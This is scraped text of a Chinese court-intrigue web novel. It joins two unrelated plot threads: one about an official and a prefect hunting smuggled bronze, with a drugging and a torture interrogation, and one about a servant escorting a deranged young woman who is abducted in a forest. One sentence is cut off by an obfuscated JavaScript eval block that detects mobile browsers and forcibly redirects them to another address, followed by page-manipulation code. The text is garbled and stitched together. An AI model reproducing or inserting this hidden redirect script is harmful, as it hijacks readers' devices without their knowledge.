“宫大人这就要走么？”


    他转身望去，只见一名女子立于街角，身后跟着一行差役，服制乃是泊州官役统一样式。她身披狐裘，内里却是黎国原始部族的装束——五彩织锦短袄，腰间系着银铃，随着她的步伐叮当作响。她的容貌极美，眉目如画，眼波流转间自有一股勾魂摄魄的韵味。


    “你是何人？”宫楚让按住剑柄，目光警惕。


    女子款款走近，狐裘下露出一截雪白的脖颈：“下官泊州知府戚夜阑，方才见都尉大人四处搜查，可是在找什么东西？”她微微欠身，银铃轻响。


    宫楚让心中一惊。他早听闻泊州众多知府中有一名女子，管辖西遥、丰却二城，却不想竟是这般模样。


    “原来是戚大人。”他拱手行礼，目光却愈发警惕，“本官听闻西遥城这一带有人走私铜器，若在民间扩散，恐对百姓不利，特来搜查，不知大人有何指教？”


    戚夜阑望向他身后的队伍，瞥见队首旗帜上的“粮”字，便知他非监察官员。


    宫楚让也看出她的疑虑，轻轻抬手，吴哲安便走上前来，掏出一只金镶白玉令牌。黎国官员都知晓，这令牌乃是御授通行令牌，不管对方是何官阶，都要听从金镶白玉令牌的号令，且任何人不得声称自己见过这令牌，否则便会惨遭暗杀。


    戚夜阑掩唇轻笑：“指教不敢当。只是……”她凑近一步，身上传来若有若无的异香，“本官或许知道宫大人在找的东西在何处。”


    寒风卷起她的发丝，拂过宫楚让的脸颊。他不动声色地后退半步：“哦？那还请戚大人明示。”


    “这里说话不方便。”戚夜阑眼波流转，“不如随本官去府衙小坐？本官备了好茶，正好与大人细说。”


    宫楚让心中警铃大作。这女子身为知府，却穿着异族服饰，言行举止又如此轻佻，显然别有用心。但眼下线索全无，或许这是个突破口。


    “好。”他沉声应道，暗中向副将使了个眼色，“那便叨扰戚大人了。”


    戚夜阑嫣然一笑，转身引路。宫楚让跟在她身后，右手始终按在剑柄上。他注意到，戚夜阑走路的姿态很是奇特，每一步都像是踩着某种韵律，腰间的银铃随着她的步伐发出规律的声响，竟让人有些目眩神迷。


    来到府衙，戚夜阑径直将他引入后堂。这里不似前衙那般庄重，反而处处透着异域风情。墙上挂着西北一带原始部族的图腾面具，案几上摆着青铜香炉，袅袅青烟升起，带着一股甜腻的香气。


    “大人请坐。”戚夜阑亲自斟茶，玉指纤纤，“这是西幽国特产的云雾茶，最是养神。”


    宫楚让接过茶盏，却不饮：“戚大人说知道那批铜器的下落？”


    戚夜阑在他对面坐下，笑意盈盈：“宫大人何必着急？”她轻轻摇晃着茶盏，“这茶要趁热喝才好。”


    话音未落，宫楚让忽然觉得一阵晕眩。他猛地站起，却见戚夜阑的笑容愈发妖媚，四周的图腾面具仿佛活了过来，在墙上扭曲舞动。


    戚夜阑倚在窗边，指尖轻轻摩挲着一枚青铜令牌。方才手下禀报，这位宫大人竟是宫家二公子宫楚让，奉旨押运军粮后返回二十四城。这个消息让她心头一紧。


    “宫家……”她喃喃自语，眼中闪过一丝忧虑。宫家世代经商，祖上曾是朝廷重臣，在朝中势力深不可测。这位二公子年纪轻轻就深得圣心，此次突然搜查铜器，莫非是押送的奴仆走漏了风声？


    这批铜器是她费尽心思从西幽国运来的，关系重大。本以为借着知府的身份，将铜器分批藏于各处，已是天衣无缝。却不料还是被人察觉。


    “来人。”她轻声唤道。


    一个身着黑衣的侍卫悄无声息地出现：“大人。”


    “去查查，押送铜器的奴仆们有没有私吞偷拿。还有，查一下这批货物和原始账目有何出入。”


    “是。”


    侍卫退下后，戚夜阑走到铜镜前，看着镜中那张美艳的脸庞。她轻轻抚过自己的眉眼，眉头微蹙：“金镶白玉令牌……短短不到一个月的时间，这西遥城竟出现两枚，看来这下黎国要热闹了。”


    她必须尽快做出决断。若是让宫楚让继续查下去，难保不会发现这批铜器的真正来历。但眼下还不能轻举妄动，这批铜器关系到她的仕途。


    “来人。”她再次唤道。


    另一个侍卫现身：“大人有何吩咐？”


    “去最近的营地取一批铜器，要最普通的，不要有任何标记。”她顿了顿，“然后找个合适的地方''藏''起来，要做得自然些。”


    侍卫会意：“属下明白。”


    戚夜阑走到案前，提笔在纸上写下几个字：“铜器已备，断尾求生。”她将纸条卷起，塞入一个小竹筒。


    “把这个交给城西铁匠铺的老张。”


    侍卫接过竹筒，悄然而去。


    戚夜阑走到宫楚让的榻前，眼中闪过一丝复杂的神色：“宫大人，你最好不要耽误老娘的大事。”


    不多时，宫楚让悠悠转醒。他猛地坐起，警惕地环顾四周。


    “宫二公子醒了？”戚夜阑的手下端着一碗热茶走进来，笑意盈盈，“许是宫大人奔波数日，身心俱疲，又赶上西风大作，在这西遥城受了凉，方才突然晕倒，可把本官吓了一跳。”


    宫楚让皱眉，环视周身，并未发觉什么异常，稍稍放松些警惕。他接过热茶，勉强抿了一小口：“给戚大人添麻烦了，方才您有什么话要说？”


    戚夜阑叹了口气：“这泊州城看似平静，实则暗流涌动。有不少刁民干着见不得人的营生，好言好语地问是不会说实话的。”她意味深长地看着宫楚让，“有时候，严刑拷打才是行之有效的法子。”


    宫楚让目光一凝：“戚大人的意思是……”


    “本官身为知府，自然要为朝廷分忧。”戚夜阑微微一笑，“不如这样，本官派人协助宫二公子，好好查查这些刁民？”


    宫楚让将信将疑，总觉得眼前之人有事隐瞒，眼下还无从打探虚实，只好先应允后再做打算。


    翌日清晨，天色微明，薄雾笼罩着青州城。宫楚让与戚夜阑并辔而行，马蹄声在寂静的街道上格外清晰。


    将至城西，忽见几个衣衫褴褛的小乞丐鬼鬼祟祟躲在街角，怀中鼓鼓囊囊，神色慌张。戚夜阑眼中闪过一丝不易察觉的光芒，她轻轻抬手，左右立即上前擒住。小乞丐们吓得瑟瑟发抖，其中一个年长的还想逃跑，被衙役一脚踹翻在地。


    宫楚让冷眼旁观，注意到戚夜阑神色如常，仿佛对眼前的一切早有预料。他心中疑惑：这位知府大人，为何对几个小乞丐如此在意？


    打开他们怀中的破布包裹，竟是几柄铜质短剑，剑身泛着幽幽青光。戚夜阑微微蹙眉，语气中带着恰到好处的惊讶：“说！从何处得来？”


    小乞丐们跪在地上磕头如捣蒜：“大人饶命！是……是城西张铁匠给的，让我们送到城外……”


    话音未落，早有快马来报：宫大人手下在城门拿住了正要逃跑的张铁匠。


    一行人押着老张来到府衙地牢。阴暗潮湿的地牢中，火把的光影摇曳，映得人脸忽明忽暗。宫楚让坐在太师椅上，目光如炬地盯着被绑在刑架上的老张。


    “张铁匠，你可知道私藏铜器是何罪？”宫楚让沉声问道。


    老张低着头，一言不发。


    “上刑！”戚夜阑轻描淡写地挥了挥手，神色如常。


    两个衙役上前，将老张的双手绑在刑架上。先是皮鞭抽打，鞭鞭见血，老张咬破嘴唇也不吭声。鞭子抽在皮肉上的声音在空旷的地牢中格外刺耳，空气中弥漫着血腥味。


    宫楚让冷眼旁观，注意到戚夜阑神色如常，手中的团扇轻轻摇动，仿佛在欣赏一出好戏。


    “还不说？“戚夜阑轻笑一声，“换夹棍。“她的声音平静如水，听不出一丝波澜。


    衙役取来夹棍，将老张的十指夹住。随着衙役用力收紧，老张疼得冷汗直流，却仍不开口。他的手指已经发紫，指甲缝里渗出血来。


    “倒是个硬骨头。“戚夜阑站起身，缓步走到老张面前。她神色如常，眼中忽然闪过一丝狠厉：“去，把他妻儿老小一并抓来。”


    老张闻言，浑身一震：“大人！大人饶命！我说，我说！”


    原来城西一处废弃的城隍庙地下，藏着一批铜器。老张供出，这些铜器是有人暗中交给他的，让他分批运出城去。至于幕后主使，他也不知道是谁。


    宫楚让大喜，立即带人前去搜查。城隍庙早已破败不堪，香案倒塌，神像蒙尘。众人撬开地砖，果然在庙中起获数十件铜质兵器，刀枪剑戟一应俱全。


    “看来此案已破。”宫楚让满意地点头，转身对戚夜阑道，“多亏戚大人相助。”


    戚夜阑微微一笑，神色如常：“宫大人英明。此案能破，全赖大人明察秋毫。”


    宫楚让闻言，眉头微皱：“戚大人觉得，此案可还有疑点？”


    “大人明察，此案已破，老张也已伏法。至于其他，本官不敢妄言。”


    宫楚让思忖片刻，总觉得哪里不对，却又无从谈起，至少可以肯定，这老张身上还有疑点。


    沉思之际，忽听外面传来一阵喧哗。一个衙役慌慌张张跑进来：“大人！不好了！老张……老张他……”


    “怎么了？”宫楚让霍然起身。


    “老张他……咬舌自尽了！”


    见到尹书白之后的几日里，萧鸾常常狂躁不已，提督府上上下下整日提心吊胆。


    府中的仆人们私下议论纷纷，却无人敢多言一句。


    萧鸾的病情愈发严重，整日里神志不清，时而尖叫，时而蜷缩在角落，仿佛被什么可怕的东西追逐着。府中的气氛压抑得让人喘不过气来。


    有一晚，萧鸾蜷缩在棉被里，月光透过雕花窗棂洒进来，在地上投下斑驳的影子。


    她紧紧攥着被角，眼睛一眨不眨地盯着那些晃动的光影，生怕那些影子变成人，突然扑向她。她呼吸急促，额头上渗出细密的汗珠，嘴唇微微颤抖，吐出些模棱两可的字眼。


    “小姐，该喝药了。”侍女端着青瓷药碗，轻手轻脚地走到床前。


    萧鸾却猛地往后缩，药碗“咣当”一声摔在地上，褐色的药汁溅湿了绣鞋。


    “不要……我不要喝！”萧鸾的声音尖锐而颤抖，瞳孔涣散，视野里侍女的脸化作一团乱麻，紧接着便成了尹书白那张脸。她缩到墙角，身子止不住地颤抖，把头蒙在被子里。


    “不要抓我……我不要生孩子！”她的声音带着哭腔。


    “小姐别怕，我不过来，乖，你先不要下来。”侍女无奈，只能先捡起碎了一地的瓷片。


    府中上下对萧鸾的病情很快便习以为常，甚至有些麻木。


    萧鸾执意抗拒，侍女们也别无他法，便不再为她喝药。每日一到时间便把煎好的药盛出来晾上，偶尔见萧鸾安静便端上前问问，不喝的话就一直晾着，直到下一次煎药之前便倒掉。


    这几日，陈船一直在暗中观察萧鸾的病情，心中越发觉得，尹书白和萧鸾的身世有关。但显然，他不能直接去找尹书白问个究竟，还是要等萧荣回来再做打算。


    萧鸾曾说萧大人不在，府上便是自己说了算，实则不然。陈船渐渐发觉，除了自己，没有人真正关心萧鸾的痛苦，都不过是在应付差事。


    他沉思间，忽然瞥见一道黑影如鬼魅般掠向大门方向。心中一凛，好奇心顿起，于是屏息凝神，蹑手蹑脚地尾随其后。借月光一看，惊觉此人竟是李叔。只见他行至一尊石像后，身形隐没，行迹可疑。


    陈船不敢轻举妄动，便藏身暗处，凝神观望。


    不多时，李叔自石像后转出，步履匆匆，渐行渐远。


    陈船见他走远，方敢近前，绕至石像后一探究竟。


    谁知这一看，竟令他心头大震——石像后赫然躺着兰琢的尸身。


    兰琢仰面倒地，双目圆睁，眸中犹带惊恐之色，似是在临死前见到了极可怖的景象。颈间掌痕触目惊心，大概是生前被人扭断，皮肉翻卷，筋骨断裂，鲜血自伤口处汩汩流出，染红了身下的青石板。眼球突出，布满血丝，双手无力地垂在身侧，指尖微微蜷曲，仿佛在最后一刻仍试图抓住什么。


    陈船见此惨状，吓得双腿发软，倚靠在石像旁，胃里一阵翻腾。


    他怀疑是萧荣指使李叔这样做的，又联想到自己的处境，萌生了逃跑的想法。可细想起来，又觉得这萧大人虽言行乖张阴鸷，却不像个如此心狠手辣之人。但官场尔虞我诈，萧荣尚且不到二十岁就身居高位，一切恐怕难以妄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152302|164879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下定论。


    这兰琢也实在可怜，刚刚重获自由之身便……


    “难道，是因为他没有用处了才被萧大人‘清理’？”陈船暗自思忖。


    兰琢正是仰仗在青楼获取官员谈话中的讯息才得到萧荣经年庇护，离开了青楼他便再也没有用处了，所谓赎身实则是断头饭？


    夜风拂过，带来一丝凉意，陈船只觉背脊发寒。


    他深知不能再这般浑浑噩噩，要么逃跑，要么让自己有利用价值！


    眼看萧鸾出现幻觉愈加频繁，整日痛苦不已，府上却无一人能出主意。陈船心中焦急，想着去衙门找萧荣，但这几日她都不在衙门任职。问过李叔才知，皇宫过冬的物资正分批运入京城，这个时候萧提督忙得不可开交，根本无暇顾及家里的事。


    “那我便去皇宫里找她！”


    李叔连忙阻止：“皇宫岂是你想去就去的？你去了不是活活给萧大人添乱吗？”


    陈船觉得不能坐以待毙，白日里便出门打听京畿一带有无医术高超的郎中，但凡有些眉目，便将萧鸾的病情告知，可却无人能医。最多就是开些安神镇定的药，治标不治本。


    “要是夏神医在，说不定能有法子，可惜夏神医远在西遥城。”陈船心中叹息，却又燃起一丝希望。


    他打听到，夏氏一族在鹳城还留了个孩童为百姓坐诊，这里离鹳城不到两百公里，快马加鞭四日便可抵达。于是便壮了壮胆，想和李叔商量，亲自带萧鸾前往鹳城求医。


    “李叔，小姐的病情不能再拖了，我听说鹳城有位夏氏的后人，医术高明，或许能治好小姐的病。我想带小姐去一趟，您看……”


    李叔冷冷嗔怪道：“小姐的吃穿住行向来都是萧大人做主，私自安排可是要受鞭笞之罚的。”


    “可小姐现在的情况恐怕有生命危险，萧大人曾把小姐救回来，难道会愿意看到她承受这样的痛苦吗？”陈船辩驳道。


    “萧大人愿不愿意是萧大人自己的事，我只关心这件事谁来担责任。冤有头，债有主，是你把小姐带出去的，是尹书白把小姐吓成这样的。萧大人事先没有嘱咐过我如何照顾小姐，若真问责，也与我毫无干系，你想怎样，请自便。”


    他的语气中没有一丝波动，仿佛萧鸾的生死与他无关。


    陈船心中一沉，他领教过李叔的冷漠。但平心而论，这件事也确实是自己造成的，他之所以如此担心，也有几分源自于良心不安。


    萧鸾越发魔怔，常把别人认成尹书白。人虽痴傻，警惕性还极强，送来的汤药和饭菜点心一口都不吃，这几日肉眼可见的消瘦。


    陈船觉得不能再这样下去了，尽管有侍女几番劝阻，陈船还是毅然决然带她前往鹳城。


    未至晌午，他驾着马车，带着萧鸾匆匆赶往鹳城。初来乍到，人生地不熟的他不得不在半道上屡屡停车，向路边的行人或茶肆的伙计打听方向。


    尽管心急如焚，他还是刻意保持冷静，车内的萧鸾依旧神志不清，时而低声啜泣，时而蜷缩成一团。


    陈船一边驾车，一边不时留心萧鸾的情况。


    就在不久前，尹书白听说了陈船为萧鸾四处寻医之事，便开始打听提督府的消息。


    内务府将他安置在城北的宅院中，此时正淡然自若地翻过一页书卷，唇角微微扬起，似笑非笑。


    窗外传来一阵轻微的脚步声，随即一名黑衣男子悄无声息地走进书房，正是飞盏。


    他躬身行礼，低声道：“公子，陈船已带着萧鸾出了城，正往鹳城方向而去。”


    尹书白闻言，眸中闪过一丝淡淡的笑意，合上手中的书卷，缓缓道：“哦？倒是比我想象的还要快些。”


    他语气轻描淡写，一切都在他的预料之中。


    飞盏微微皱眉，低声道：“公子，萧鸾对萧荣来说似乎很重要，我们若贸然动手，恐怕会惹来不必要的麻烦。”


    尹书白轻笑一声，目光悠远，若有所思。


    他站起身，缓步走到窗前道：“萧荣这人心思深沉，显然是容意公主的党羽，长公主若要夺权，她便是最大的阻碍。萧鸾虽是痴傻，但未必不能从她身上找到些萧荣的把柄。”


    飞盏闻言，眼中闪过一丝了然，低声道：“公子的意思是……我们抓走萧鸾？”


    尹书白微微颔首，眸中闪过一丝冷意。


    飞盏点头应下，正欲退下，尹书白却又开口道：“记住，行事要谨慎，莫要打草惊蛇。陈船此人虽不足为虑，但萧荣的耳目众多，稍有差池，便会前功尽弃。”


    飞盏躬身道：“属下明白，定会小心行事。”


    与此同时，陈船的马车已驶入一片密林。


    林中雾气弥漫，四周寂静无声，唯有马蹄声与车轮碾过枯叶的沙沙声在空旷的林间回荡。


    陈船心中隐隐有些不安，他握紧了缰绳，手心里渗出细密的汗珠，心中暗自警惕，不由得加快了马车的速度，想要尽快穿过这片林子。


    然而，就在此时，前方忽然传来一阵轻微的响动，似是枯枝被踩断的声音，又似是什么东西在树梢间快速移动。


    陈船心中一凛，猛地勒住缰绳，马车骤然停下。


    他屏息凝神，目光如炬，警惕地环顾四周，手已按在了腰间的短刀上，指尖微微发紧。


    “谁在那里？”陈船低声喝道，声音在空旷的林中回荡，却无人应答。


    四周的雾气愈发浓重，仿佛一层无形的帷幕，将他的视线遮蔽得模糊不清。陈船的心跳加快，耳畔只听得见自己的呼吸声，沉重而急促。


    忽然，一道黑影从树后闪出，速度极快，如同鬼魅般直奔马车而来。


    陈船大惊，急忙拔刀迎战，刀刃在月光下泛着冷冽的寒光。


    然而那黑影身手敏捷，身形如风，几下便绕过了他的刀锋，直扑马车内的萧鸾。


    “不好！”陈船心中大骇，急忙转身追去。


    就在他即将追上那黑影之际，忽然，另一道黑影从侧旁闪出，手中扬起一把粉末，朝陈船迎面洒来。


    陈船猝不及防，只觉一股异香扑鼻，眼前顿时一片模糊，四肢无力，手中的短刀“咣当”一声掉在地上。


    他踉跄几步，想要稳住身形，却天旋地转，眼前一黑，便重重地倒在了地上，不省人事。